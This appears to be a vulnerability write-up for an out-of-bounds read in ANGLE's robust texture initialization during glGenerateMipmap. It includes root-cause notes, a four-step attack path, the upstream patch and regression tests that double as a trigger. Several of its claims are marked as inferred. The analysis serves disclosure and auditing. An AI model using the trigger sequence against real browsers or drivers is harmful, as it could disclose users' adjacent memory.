CVE-2026-78989
Overview
Background
- Robust resource initialization
- an ANGLE feature (
isRobustResourceInitEnabled()) that clears texture/buffer contents thatMayNeedInitbefore first use so callers never observe uninitialized memory. - `Texture::ensureInitialized`
- walks a texture’s enabled image levels and robust-clears any
ImageDescwhoseinitState == InitState::MayNeedInitand whosesizeis non-empty. - `glGenerateMipmap` / base level
- a GL call that regenerates all mip levels above the effective base level from the base level, fully overwriting those higher levels.
- Mismatched / stale levels
- mip levels whose stored
ImageDescdimensions are inconsistent with the base level (e.g. a larger or oddly sized level left over from earlier uploads), which the test constructs deliberately (levels 5, 6, 10 “unrelated and incompatible”).
Root Cause Analysis
During glGenerateMipmap with robust resource init enabled, the dirty-bit sync path (the @@-hunk function at Texture.cpp:2493, Texture::syncState-family (inferred name)) called ensureInitialized(context), which iterated over all enabled levels and robust-cleared every level flagged MayNeedInit. When higher levels were stale/mismatched relative to the base level, robust-clearing them drove an out-of-bounds read on some OpenGL/GLES drivers (the exact sink is in the driver-facing clear path, inferred), even though those levels were about to be completely overwritten by the newly generated mipmaps. The invariant violated is that robust init must not perform initialization work whose dimensions can be inconsistent with the actual backing when that work is pointless.
The fix introduces enum class EnsureInitializedLevels { BaseOnly, AllEnabledLevels } and, during Command::GenerateMipmap, passes BaseOnly so the initialization loop breaks after the base level, skipping the stale higher levels entirely. All other callers explicitly pass AllEnabledLevels, preserving prior behavior, so only the GenerateMipmap path is narrowed.
glGenerateMipmap, including stale/mismatched levels that were about to be overwritten, which triggered an OOB read; the fix adds a BaseOnly mode that stops the init loop after the base level on the GenerateMipmap path.Attack Path
- Enable robust init and build a texture with mismatched levels Under robust resource init, upload a texture where levels above the intended base level have incompatible/stale dimensions (as the regression test does with levels 5, 6, 10).
- Set a non-zero base level
Set
GL_TEXTURE_BASE_LEVELso the generated mip chain starts above level 0 and the stale higher levels remain enabled. - Call `glGenerateMipmap`
This triggers the dirty-bit sync path which pre-patch calls
ensureInitialized(context)over all enabled levels. - Robust-clear a stale level out of bounds The loop robust-initializes a mismatched stale level whose descriptor dimensions do not match the backing, causing an out-of-bounds read in the underlying clear/driver path. (inferred)
Impact Assessment
glGenerateMipmap on a robust-init texture with mismatched stale levels, potentially disclosing adjacent memory (inferred). The vendor advisory rates this high severity and does not report in-the-wild exploitation; NVD scores it CVSS 9.6. Preconditions are robust resource init being enabled and the ability to construct the mismatched-level texture, both reachable from web content via WebGL.Changed Functions
| Function | Change | Notes |
|---|---|---|
Statesrc/libANGLE/Texture.h |
modified | |
Texturesrc/libANGLE/Texture.h |
modified | |
MipmapRobustInitTestES3src/tests/gl_tests/MipmapTest.cpp |
modified |
Files Changed
src/libANGLE/State.cppsrc/libANGLE/Texture.hsrc/tests/gl_tests/MipmapTest.cppsrc/libANGLE/Texture.cppsrc/tests/angle_end2end_tests_expectations.txtsrc/libANGLE/Context.cpp
Audit Directions
- Robust init over all levelsReview other robust-initialization loops that iterate every enabled level and confirm they cannot operate on stale/mismatched descriptors, especially where the data is about to be overwritten.
- Stale ImageDesc dimensionsAudit texture operations that clear/copy using
ImageDescsize where a level’s stored dimensions can diverge from the actual backing (e.g. after base/max level changes or partial re-uploads). - GenerateMipmap and level-scopingExamine other GL commands (copy, blit, framebuffer attach) that overwrite levels to ensure pre-operation initialization is scoped to levels actually read rather than blanket-initializing incompatible levels.
Patch
From 5b683ed30122c78aa89aa51890868360ba97f117 Mon Sep 17 00:00:00 2001 From: wangra <[email protected]> Date: Thu, 30 Jul 2026 22:20:41 -0400 Subject: [PATCH] Optimize robust init check during GenerateMipmap Add an enum class EnsureInitializedLevels to optionally skip robust initialization for texture levels above the base level during glGenerateMipmap since they will be overwritten. Test: angle_end2end_tests --gtest_filter="MipmapRobustInitTestES3.GenerateMipmapRobustInitOptimization*" Bug: b/532617619 Change-Id: I5bc60b0df7e72839f61a4f8a65c3d2e64825b67f Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/8177726 Reviewed-by: Geoff Lang <[email protected]> Commit-Queue: Ran Wang <[email protected]> Reviewed-by: Shahbaz Youssefi <[email protected]> --- diff --git a/src/libANGLE/Context.cpp b/src/libANGLE/Context.cpp index 5dc9a3f..818e256 100644 --- a/src/libANGLE/Context.cpp +++ b/src/libANGLE/Context.cpp @@ -1756,7 +1756,7 @@ // For robust init, make sure the texture is initialized before storage writes. if (tex != nullptr) { - ANGLE_CONTEXT_TRY(tex->ensureInitialized(this)); + ANGLE_CONTEXT_TRY(tex->ensureInitialized(this, EnsureInitializedLevels::AllEnabledLevels)); } mState.setImageUnit(this, unit, tex, level, layered, layer, access, format); mImageObserverBindings[unit].bind(tex); diff --git a/src/libANGLE/State.cpp b/src/libANGLE/State.cpp index 620cf87..aba82f9 100644 --- a/src/libANGLE/State.cpp +++ b/src/libANGLE/State.cpp @@ -3837,7 +3837,8 @@ Texture *texture = mActiveTexturesCache[textureUnitIndex]; if (texture) { - ANGLE_TRY(texture->ensureInitialized(context)); + ANGLE_TRY( + texture->ensureInitialized(context, EnsureInitializedLevels::AllEnabledLevels)); } } return angle::Result::Continue; @@ -3852,7 +3853,8 @@ Texture *texture = mImageUnits[imageUnitIndex].texture.get(); if (texture) { - ANGLE_TRY(texture->ensureInitialized(context)); + ANGLE_TRY( + texture->ensureInitialized(context, EnsureInitializedLevels::AllEnabledLevels)); } } return angle::Result::Continue; diff --git a/src/libANGLE/Texture.cpp b/src/libANGLE/Texture.cpp index f56547d..3472af5 100644 --- a/src/libANGLE/Texture.cpp +++ b/src/libANGLE/Texture.cpp @@ -1745,7 +1745,7 @@ // Initialize source texture. // Note: we don't have a way to notify which portions of the image changed currently. - ANGLE_TRY(source->ensureInitialized(context)); + ANGLE_TRY(source->ensureInitialized(context, EnsureInitializedLevels::AllEnabledLevels)); ImageIndex index = ImageIndex::MakeFromTarget(target, level, ImageIndex::kEntireLevel); @@ -1779,7 +1779,7 @@ ASSERT(TextureTargetToType(target) == mState.mType); // Ensure source is initialized. - ANGLE_TRY(source->ensureInitialized(context)); + ANGLE_TRY(source->ensureInitialized(context, EnsureInitializedLevels::AllEnabledLevels)); Box destBox(destOffset.x, destOffset.y, destOffset.z, sourceBox.width, sourceBox.height, sourceBox.depth); @@ -2493,7 +2493,11 @@ { ASSERT(hasAnyDirtyBit() || source == Command::GenerateMipmap || (context->isRobustResourceInitEnabled() && mState.mInitState == InitState::MayNeedInit)); - ANGLE_TRY(ensureInitialized(context)); + // During glGenerateMipmap, robust initialization of levels i > baseLevel can be skipped + // because they will be completely overwritten by the generated mipmaps. + ANGLE_TRY(ensureInitialized(context, source == Command::GenerateMipmap + ? EnsureInitializedLevels::BaseOnly + : EnsureInitializedLevels::AllEnabledLevels)); ANGLE_TRY(mTexture->syncState(context, mDirtyBits, source)); mDirtyBits.reset(); return angle::Result::Continue; @@ -2585,7 +2589,7 @@ mCompletenessCache.context = {0}; } -angle::Result Texture::ensureInitialized(const Context *context) +angle::Result Texture::ensureInitialized(const Context *context, EnsureInitializedLevels levels) { if (!context->isRobustResourceInitEnabled() || mState.mInitState == InitState::Initialized) { @@ -2601,6 +2605,11 @@ while (it.hasNext()) { const ImageIndex index = it.next(); + if (levels == EnsureInitializedLevels::BaseOnly && + index.getLevelIndex() != static_cast<GLint>(mState.getEffectiveBaseLevel())) + { + break; + } ImageDesc &desc = mState.mImageDescs[GetImageDescIndex(index.getTarget(), index.getLevelIndex())]; if (desc.initState == InitState::MayNeedInit && !desc.size.empty()) diff --git a/src/libANGLE/Texture.h b/src/libANGLE/Texture.h index 8ea72da..d2db25b 100644 --- a/src/libANGLE/Texture.h +++ b/src/libANGLE/Texture.h @@ -49,6 +49,12 @@ class State; class Texture; +enum class EnsureInitializedLevels +{ + BaseOnly, + AllEnabledLevels, +}; + constexpr GLuint kInitialMaxLevel = 1000; bool IsMipmapFiltered(GLenum minFilterMode); @@ -717,7 +723,7 @@ GLuint getId() const override; // Needed for robust resource init. - angle::Result ensureInitialized(const Context *context); + angle::Result ensureInitialized(const Context *context, EnsureInitializedLevels levels); InitState initState(GLenum binding, const ImageIndex &imageIndex) const override; InitState initState() const { return mState.mInitState; } void setInitState(GLenum binding, const ImageIndex &imageIndex, InitState initState) override; diff --git a/src/tests/angle_end2end_tests_expectations.txt b/src/tests/angle_end2end_tests_expectations.txt index 5372a02..e2ba6e9 100644 --- a/src/tests/angle_end2end_tests_expectations.txt +++ b/src/tests/angle_end2end_tests_expectations.txt @@ -43,6 +43,8 @@ // Generate mipmap or draw on mismatched stale levels fails on some OpenGL/GLES drivers when robust init is enabled 532617619 OPENGL : Texture2DTestES3RobustInit.MismatchedStaleLevel*/* = SKIP 532617619 GLES : Texture2DTestES3RobustInit.MismatchedStaleLevel*/* = SKIP +532617619 OPENGL : MipmapRobustInitTestES3.GenerateMipmapRobustInitOptimization*/* = SKIP +532617619 GLES : MipmapRobustInitTestES3.GenerateMipmapRobustInitOptimization*/* = SKIP 381742474 : ShaderStorageBufferTest31.ExceedMaxShaderStorageBlockSize/* = SKIP diff --git a/src/tests/gl_tests/MipmapTest.cpp b/src/tests/gl_tests/MipmapTest.cpp index 8b49e9f..59c491e 100644 --- a/src/tests/gl_tests/MipmapTest.cpp +++ b/src/tests/gl_tests/MipmapTest.cpp @@ -2639,6 +2639,197 @@ EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::cyan); } +class MipmapRobustInitTestES3 : public ANGLETest<> +{ + protected: + MipmapRobustInitTestES3() + { + setWindowWidth(128); + setWindowHeight(128); + setConfigRedBits(8); + setConfigGreenBits(8); + setConfigBlueBits(8); + setConfigAlphaBits(8); + setRobustResourceInit(true); + } +}; + +// Test that robust initialization is correctly handled after glGenerateMipmap. +TEST_P(MipmapRobustInitTestES3, GenerateMipmapRobustInitOptimization) +{ + GLTexture texture; + glBindTexture(GL_TEXTURE_2D, texture); + + // Allocate with nullptr to verify it gets robust cleared later + glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 16, 16, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr); + + // Set levels 1 through 4 to be mipcomplete (incompatible with level 0) with different colors. + std::vector<GLColor> kLevel1Data(8 * 8, GLColor::green); + glTexImage2D(GL_TEXTURE_2D, 1, GL_RGBA, 8, 8, 0, GL_RGBA, GL_UNSIGNED_BYTE, kLevel1Data.data()); + + glTexImage2D(GL_TEXTURE_2D, 2, GL_RGBA, 4, 4, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr); + + std::vector<GLColor> kLevel3Data(2 * 2, GLColor::blue); + glTexImage2D(GL_TEXTURE_2D, 3, GL_RGBA, 2, 2, 0, GL_RGBA, GL_UNSIGNED_BYTE, kLevel3Data.data()); + + glTexImage2D(GL_TEXTURE_2D, 4, GL_RGBA, 1, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr); + + // Set levels 5, 6 and 10 to something unrelated and incompatible. Upload data to level 6. + glTexImage2D(GL_TEXTURE_2D, 5, GL_RGBA, 16, 16, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr); + + std::vector<GLColor> kLevel6Data(17 * 31, GLColor::yellow); + glTexImage2D(GL_TEXTURE_2D, 6, GL_RGBA, 17, 31, 0, GL_RGBA, GL_UNSIGNED_BYTE, + kLevel6Data.data()); + + glTexImage2D(GL_TEXTURE_2D, 10, GL_RGBA, 3, 3, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr); + + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 1); + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST_MIPMAP_NEAREST); + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); + + // Force overwriting levels 2, 3 and 4 + glGenerateMipmap(GL_TEXTURE_2D); + ASSERT_GL_NO_ERROR(); + + // Use GL_NEAREST min filter so the texture doesn't need to be mipmap-complete for framebuffer + // completeness. + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); + + GLFramebuffer fbo; + glBindFramebuffer(GL_FRAMEBUFFER, fbo); + + // Level 0 is robust cleared + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 0); + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 0); + glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, texture, 0); + EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::transparentBlack); + + // Levels 1 through 4 all have the color uploaded + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 1); + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 4); + for (int level = 1; level <= 4; ++level) + { + glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, texture, level); + EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::green); + } + + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 5); + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 5); + + // Level 5 is cleared + glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, texture, 5); + EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::transparentBlack); + + // Level 6 still has its uploaded data + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 6); + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 6); + glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, texture, 6); + EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::yellow); + + // Level 10 is cleared + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 10); + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 10); + glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, texture, 10); + EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::transparentBlack); +} + +// Test that robust initialization is correctly handled after glGenerateMipmap, verifying by +// sampling. +TEST_P(MipmapRobustInitTestES3, GenerateMipmapRobustInitOptimizationWithSampling) +{ + GLTexture texture; + glBindTexture(GL_TEXTURE_2D, texture); + + // Allocate with nullptr to verify it gets robust cleared later + glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 16, 16, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr); + + // Set levels 1 through 4 to be mipcomplete (incompatible with level 0) with different colors. + std::vector<GLColor> kLevel1Data(8 * 8, GLColor::green); + glTexImage2D(GL_TEXTURE_2D, 1, GL_RGBA, 8, 8, 0, GL_RGBA, GL_UNSIGNED_BYTE, kLevel1Data.data()); + + glTexImage2D(GL_TEXTURE_2D, 2, GL_RGBA, 4, 4, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr); + + std::vector<GLColor> kLevel3Data(2 * 2, GLColor::blue); + glTexImage2D(GL_TEXTURE_2D, 3, GL_RGBA, 2, 2, 0, GL_RGBA, GL_UNSIGNED_BYTE, kLevel3Data.data()); + + glTexImage2D(GL_TEXTURE_2D, 4, GL_RGBA, 1, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr); + + // Set levels 5, 6 and 10 to something unrelated and incompatible. Upload data to level 6. + glTexImage2D(GL_TEXTURE_2D, 5, GL_RGBA, 16, 16, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr); + + std::vector<GLColor> kLevel6Data(17 * 31, GLColor::yellow); + glTexImage2D(GL_TEXTURE_2D, 6, GL_RGBA, 17, 31, 0, GL_RGBA, GL_UNSIGNED_BYTE, + kLevel6Data.data()); + + glTexImage2D(GL_TEXTURE_2D, 10, GL_RGBA, 3, 3, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr); + + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 1); + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST_MIPMAP_NEAREST); + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); + + // Force overwriting levels 2, 3 and 4 + glGenerateMipmap(GL_TEXTURE_2D); + ASSERT_GL_NO_ERROR(); + + ANGLE_GL_PROGRAM(verify, essl3_shaders::vs::Texture2DLod(), essl3_shaders::fs::Texture2DLod()); + glUseProgram(verify); + const GLint lodLoc = glGetUniformLocation(verify, essl3_shaders::LodUniform()); + glUniform1i(glGetUniformLocation(verify, essl3_shaders::Texture2DUniform()), 0); + + GLFramebuffer fbo; + glBindFramebuffer(GL_FRAMEBUFFER, fbo); + + GLTexture destTexture; + glBindTexture(GL_TEXTURE_2D, destTexture); + glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 1, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr); + glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, destTexture, 0); + ASSERT_GL_NO_ERROR(); + + glBindTexture(GL_TEXTURE_2D, texture); + + // Level 0 is robust cleared + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 0); + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 0); + glUniform1f(lodLoc, 0.0f); + drawQuad(verify, essl3_shaders::PositionAttrib(), 0.5f); + EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::transparentBlack); + + // Levels 1 through 4 all have the color uploaded + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 1); + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 4); + for (int level = 1; level <= 4; ++level) + { + glUniform1f(lodLoc, static_cast<GLfloat>(level - 1)); + drawQuad(verify, essl3_shaders::PositionAttrib(), 0.5f); + EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::green); + } + + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 5); + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 5); + + // Level 5 is cleared + glUniform1f(lodLoc, 0.0f); + drawQuad(verify, essl3_shaders::PositionAttrib(), 0.5f); + EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::transparentBlack); + + // Level 6 still has its uploaded data + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 6); + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 6); + glUniform1f(lodLoc, 0.0f); + drawQuad(verify, essl3_shaders::PositionAttrib(), 0.5f); + EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::yellow); + + // Level 10 is cleared + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 10); + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 10); + glUniform1f(lodLoc, 0.0f); + drawQuad(verify, essl3_shaders::PositionAttrib(), 0.5f); + EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::transparentBlack); +} + +GTEST_ALLOW_UNINSTANTIATED_PARAMETERIZED_TEST(MipmapRobustInitTestES3); +ANGLE_INSTANTIATE_TEST_ES3(MipmapRobustInitTestES3); + // Use this to select which configurations (e.g. which renderer, which GLES major version) these // tests should be run against. ANGLE_INSTANTIATE_TEST_ES2_AND_ES3_AND(
Regression Test / PoC
diff --git a/src/tests/angle_end2end_tests_expectations.txt b/src/tests/angle_end2end_tests_expectations.txt
index 5372a02..e2ba6e9 100644
--- a/src/tests/angle_end2end_tests_expectations.txt
+++ b/src/tests/angle_end2end_tests_expectations.txt
@@ -43,6 +43,8 @@
// Generate mipmap or draw on mismatched stale levels fails on some OpenGL/GLES drivers when robust init is enabled
532617619 OPENGL : Texture2DTestES3RobustInit.MismatchedStaleLevel*/* = SKIP
532617619 GLES : Texture2DTestES3RobustInit.MismatchedStaleLevel*/* = SKIP
+532617619 OPENGL : MipmapRobustInitTestES3.GenerateMipmapRobustInitOptimization*/* = SKIP
+532617619 GLES : MipmapRobustInitTestES3.GenerateMipmapRobustInitOptimization*/* = SKIP
381742474 : ShaderStorageBufferTest31.ExceedMaxShaderStorageBlockSize/* = SKIP
diff --git a/src/tests/gl_tests/MipmapTest.cpp b/src/tests/gl_tests/MipmapTest.cpp
index 8b49e9f..59c491e 100644
--- a/src/tests/gl_tests/MipmapTest.cpp
+++ b/src/tests/gl_tests/MipmapTest.cpp
@@ -2639,6 +2639,197 @@
EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::cyan);
}
+class MipmapRobustInitTestES3 : public ANGLETest<>
+{
+ protected:
+ MipmapRobustInitTestES3()
+ {
+ setWindowWidth(128);
+ setWindowHeight(128);
+ setConfigRedBits(8);
+ setConfigGreenBits(8);
+ setConfigBlueBits(8);
+ setConfigAlphaBits(8);
+ setRobustResourceInit(true);
+ }
+};
+
+// Test that robust initialization is correctly handled after glGenerateMipmap.
+TEST_P(MipmapRobustInitTestES3, GenerateMipmapRobustInitOptimization)
+{
+ GLTexture texture;
+ glBindTexture(GL_TEXTURE_2D, texture);
+
+ // Allocate with nullptr to verify it gets robust cleared later
+ glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 16, 16, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+ // Set levels 1 through 4 to be mipcomplete (incompatible with level 0) with different colors.
+ std::vector<GLColor> kLevel1Data(8 * 8, GLColor::green);
+ glTexImage2D(GL_TEXTURE_2D, 1, GL_RGBA, 8, 8, 0, GL_RGBA, GL_UNSIGNED_BYTE, kLevel1Data.data());
+
+ glTexImage2D(GL_TEXTURE_2D, 2, GL_RGBA, 4, 4, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+ std::vector<GLColor> kLevel3Data(2 * 2, GLColor::blue);
+ glTexImage2D(GL_TEXTURE_2D, 3, GL_RGBA, 2, 2, 0, GL_RGBA, GL_UNSIGNED_BYTE, kLevel3Data.data());
+
+ glTexImage2D(GL_TEXTURE_2D, 4, GL_RGBA, 1, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+ // Set levels 5, 6 and 10 to something unrelated and incompatible. Upload data to level 6.
+ glTexImage2D(GL_TEXTURE_2D, 5, GL_RGBA, 16, 16, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+ std::vector<GLColor> kLevel6Data(17 * 31, GLColor::yellow);
+ glTexImage2D(GL_TEXTURE_2D, 6, GL_RGBA, 17, 31, 0, GL_RGBA, GL_UNSIGNED_BYTE,
+ kLevel6Data.data());
+
+ glTexImage2D(GL_TEXTURE_2D, 10, GL_RGBA, 3, 3, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 1);
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST_MIPMAP_NEAREST);
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
+
+ // Force overwriting levels 2, 3 and 4
+ glGenerateMipmap(GL_TEXTURE_2D);
+ ASSERT_GL_NO_ERROR();
+
+ // Use GL_NEAREST min filter so the texture doesn't need to be mipmap-complete for framebuffer
+ // completeness.
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
+
+ GLFramebuffer fbo;
+ glBindFramebuffer(GL_FRAMEBUFFER, fbo);
+
+ // Level 0 is robust cleared
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 0);
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 0);
+ glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, texture, 0);
+ EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::transparentBlack);
+
+ // Levels 1 through 4 all have the color uploaded
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 1);
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 4);
+ for (int level = 1; level <= 4; ++level)
+ {
+ glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, texture, level);
+ EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::green);
+ }
+
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 5);
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 5);
+
+ // Level 5 is cleared
+ glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, texture, 5);
+ EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::transparentBlack);
+
+ // Level 6 still has its uploaded data
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 6);
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 6);
+ glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, texture, 6);
+ EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::yellow);
+
+ // Level 10 is cleared
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 10);
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 10);
+ glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, texture, 10);
+ EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::transparentBlack);
+}
+
+// Test that robust initialization is correctly handled after glGenerateMipmap, verifying by
+// sampling.
+TEST_P(MipmapRobustInitTestES3, GenerateMipmapRobustInitOptimizationWithSampling)
+{
+ GLTexture texture;
+ glBindTexture(GL_TEXTURE_2D, texture);
+
+ // Allocate with nullptr to verify it gets robust cleared later
+ glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 16, 16, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+ // Set levels 1 through 4 to be mipcomplete (incompatible with level 0) with different colors.
+ std::vector<GLColor> kLevel1Data(8 * 8, GLColor::green);
+ glTexImage2D(GL_TEXTURE_2D, 1, GL_RGBA, 8, 8, 0, GL_RGBA, GL_UNSIGNED_BYTE, kLevel1Data.data());
+
+ glTexImage2D(GL_TEXTURE_2D, 2, GL_RGBA, 4, 4, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+ std::vector<GLColor> kLevel3Data(2 * 2, GLColor::blue);
+ glTexImage2D(GL_TEXTURE_2D, 3, GL_RGBA, 2, 2, 0, GL_RGBA, GL_UNSIGNED_BYTE, kLevel3Data.data());
+
+ glTexImage2D(GL_TEXTURE_2D, 4, GL_RGBA, 1, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+ // Set levels 5, 6 and 10 to something unrelated and incompatible. Upload data to level 6.
+ glTexImage2D(GL_TEXTURE_2D, 5, GL_RGBA, 16, 16, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+ std::vector<GLColor> kLevel6Data(17 * 31, GLColor::yellow);
+ glTexImage2D(GL_TEXTURE_2D, 6, GL_RGBA, 17, 31, 0, GL_RGBA, GL_UNSIGNED_BYTE,
+ kLevel6Data.data());
+
+ glTexImage2D(GL_TEXTURE_2D, 10, GL_RGBA, 3, 3, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 1);
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST_MIPMAP_NEAREST);
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
+
+ // Force overwriting levels 2, 3 and 4
+ glGenerateMipmap(GL_TEXTURE_2D);
+ ASSERT_GL_NO_ERROR();
+
+ ANGLE_GL_PROGRAM(verify, essl3_shaders::vs::Texture2DLod(), essl3_shaders::fs::Texture2DLod());
+ glUseProgram(verify);
+ const GLint lodLoc = glGetUniformLocation(verify, essl3_shaders::LodUniform());
+ glUniform1i(glGetUniformLocation(verify, essl3_shaders::Texture2DUniform()), 0);
+
+ GLFramebuffer fbo;
+ glBindFramebuffer(GL_FRAMEBUFFER, fbo);
+
+ GLTexture destTexture;
+ glBindTexture(GL_TEXTURE_2D, destTexture);
+ glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 1, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+ glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, destTexture, 0);
+ ASSERT_GL_NO_ERROR();
+
+ glBindTexture(GL_TEXTURE_2D, texture);
+
+ // Level 0 is robust cleared
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 0);
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 0);
+ glUniform1f(lodLoc, 0.0f);
+ drawQuad(verify, essl3_shaders::PositionAttrib(), 0.5f);
+ EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::transparentBlack);
+
+ // Levels 1 through 4 all have the color uploaded
